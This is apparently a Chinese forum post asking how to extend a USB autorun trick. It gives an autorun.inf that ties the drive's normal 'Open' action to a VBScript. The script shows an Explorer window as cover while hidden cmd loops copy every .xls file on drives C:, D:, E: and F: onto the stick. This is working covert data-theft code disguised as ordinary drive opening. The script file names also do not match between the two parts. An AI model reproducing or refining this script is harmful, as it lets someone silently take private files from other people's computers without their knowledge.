按以下代码会出现,只复制U盘里所有XLS格式的文件,怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。
以下是autorun.inf文件的代码:- [autorun]
- open=wscript.exe CopyExcelFile.vbs
- shell\open=打开(&O)
- shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码 以下是GetExcelFile.vbs文件的代码:- set ws=createobject("wscript.shell")
- ws.run "explorer ..\"
- ws.run "cmd /c md GetExcelFile",0,true
- ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
- ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
- ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
- ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码
|